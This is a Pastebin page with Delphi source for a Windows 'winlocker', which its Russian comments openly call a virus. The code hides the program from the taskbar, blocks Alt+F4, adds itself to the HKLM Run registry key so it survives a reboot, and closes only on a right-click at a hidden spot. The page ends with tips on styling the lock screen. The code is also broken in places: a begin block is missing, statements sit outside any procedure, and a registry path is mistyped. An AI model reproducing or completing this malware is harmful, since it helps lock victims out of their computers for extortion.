Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- unit Key;
- interface
- uses
- Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
- Dialogs, StdCtrls, jpeg, ExtCtrls;
- type
- TForm1 = class(TForm)
- Image1: TImage;
- Label1: TLabel;
- procedure FormShow(Sender: TObject);
- procedure FormKeyDown(Sender: TObject; var Key: Word;
- Shift: TShiftState);
- procedure FormCreate(Sender: TObject);
- procedure Image1Click(Sender: TObject);
- procedure Label1MouseDown(Sender: TObject; Button: TMouseButton;
- Shift: TShiftState; X, Y: Integer);
- private
- { Private declarations }
- public
- { Public declarations }
- end;
- var
- Form1: TForm1;
- implementation
- {$R *.dfm}
- procedure TForm1.FormShow(Sender: TObject); //программа не отображается в строке виндовс(не знаю, как правильно называется, находится снизу)
- begin
- ShowWindow(Application.Handle, SW_HIDE);
- end;
- procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; //теперь невозможно закрыть наш вирус, нажав CTRL + F4 или SHIFT + F4
- Shift: TShiftState);
- if (( ssAlt in Shift) and (Key = VK_F4)) then
- begin
- key:=0;
- end;
- procedure TForm1.Label1MouseDown(Sender: TObject; Button: TMouseButton; //закрывает окно винлокера по нажатию ПКМ по определенному месту на форме(Label1)
- Shift: TShiftState; X, Y: Integer);
- begin
- if button = mbright then
- Application.Terminate
- end;
- reg := TRegistry.Create();
- reg.RootKey := HKEY_LOCAL_MACHINE;
- if reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Run', True) then //добавляет приложение в автозапуск, дабы его нельзя было закрыть перезагрузкой компьютера
- begin
- reg.WriteString( Application.Title, Application.ExeName);
- reg.CloseKey();
- end;
- end.
- Также в BorderStyle прописываем BSNone
- Редактируем форму по своему предпочтению(добавляем картинки и текст)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement